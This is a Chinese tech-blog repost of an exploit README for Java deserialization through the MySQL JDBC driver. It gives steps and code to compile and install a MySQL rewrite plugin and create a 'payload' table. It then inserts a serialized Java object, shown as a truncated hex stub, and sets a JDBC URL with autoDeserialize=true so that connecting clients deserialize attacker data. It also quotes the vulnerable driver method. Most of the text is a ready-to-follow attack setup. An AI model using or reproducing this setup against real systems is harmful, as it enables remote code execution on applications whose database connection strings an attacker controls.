前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MySQL客户端jdbc反序列化漏洞payload

MySQL客户端jdbc反序列化漏洞payload

作者头像
C4rpeDime
发布2020-02-18 16:30:05
1.7K0
发布2020-02-18 16:30:05
举报
文章被收录于专栏:黑白安全黑白安全

描述

当MySQL JDBC url可控时,除了能利用MySQL协议读取MySQL Client的本地文件之外,还可以利用客户端在连接服务器时会反序列化服务器返回的二进制数据,从而触发反序列化漏洞。

详情

1.安装rewrite插件

以下两种任选其一

编译插件

下载mysql-5.7.28源码到/root/mysql-5.7.28,https://launchpadlibrarian.net/451650638/mysql-5.7_5.7.28.orig.tar.gz rewrite_example.cc见仓库

代码语言:javascript
复制
gcc -shared -Wall -fPIC -o /usr/lib/mysql/plugin/rewrite_example.so rewrite_example.cc  -I/root/mysql-5.7.28/include $(mysql_config --cflags) $(mysql_config --libmysqld-libs) -DMYSQL_DYNAMIC_PLUGIN -lmysqlservices

直接使用本git仓库中的rewrite_example.so

复制rewrite_example.so到/usr/lib/mysql/plugin/rewrite_example.so即可。

rewrite_example.so在Ubuntu16.04编译,如安装时出现问题请自行编译。

2.安装插件,建表,插入二进制数据

安装插件

代码语言:javascript
复制
INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so';

建表

  1. 创建数据库:codeplutos,请自行创建
  2. 建表sql如下
代码语言:javascript
复制
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for payload
-- ----------------------------
DROP TABLE IF EXISTS `payload`;
CREATE TABLE `payload` (
  `COLLATION_NAME` varchar(255) DEFAULT NULL,
  `CHARACTER_SET_NAME` blob,
  `ID` int(5) DEFAULT NULL,
  `IS_DEFAULT` varchar(255) DEFAULT NULL,
  `IS_COMPILED` varchar(255) DEFAULT NULL,
  `SORTLEN` int(5) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of payload
-- ----------------------------
BEGIN;
INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1);
COMMIT;
SET FOREIGN_KEY_CHECKS = 1;

插入payload

代码语言:javascript
复制
set @a=0xaced00057372002;
update codeplutos.payload set character_set_name = @a;

3.指定jdbc url,连接

代码语言:javascript
复制
jdbc:mysql://server:port/codeplutos?detectCustomCollations=true&autoDeserialize=true

漏洞触发点:

com.mysql.jdbc.ConnectionImpl#buildCollationMapping

代码语言:javascript
复制
private void buildCollationMapping() throws SQLException {
    //......省略
    try {
        results = stmt.executeQuery("SHOW COLLATION");
        if (versionMeetsMinimum(5, 0, 0)) {
            Util.resultSetToMap(sortedCollationMap, results, 3, 2);
        } else {
            while (results.next()) {
                sortedCollationMap.put(results.getLong(3), results.getString(2));
            }
        }
    } catch (SQLException ex) {
        if (ex.getErrorCode() != MysqlErrorNumbers.ER_MUST_CHANGE_PASSWORD || getDisconnectOnExpiredPasswords()) {
            throw ex;
        }
    }
    //......省略
}

Reference

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

项目地址

https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-02-101,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 描述
  • 详情
    • 1.安装rewrite插件
      • 编译插件
        • 直接使用本git仓库中的rewrite_example.so
          • 2.安装插件,建表,插入二进制数据
            • 3.指定jdbc url,连接
            • 漏洞触发点:
            • Reference
            相关产品与服务
            云数据库 SQL Server
            腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档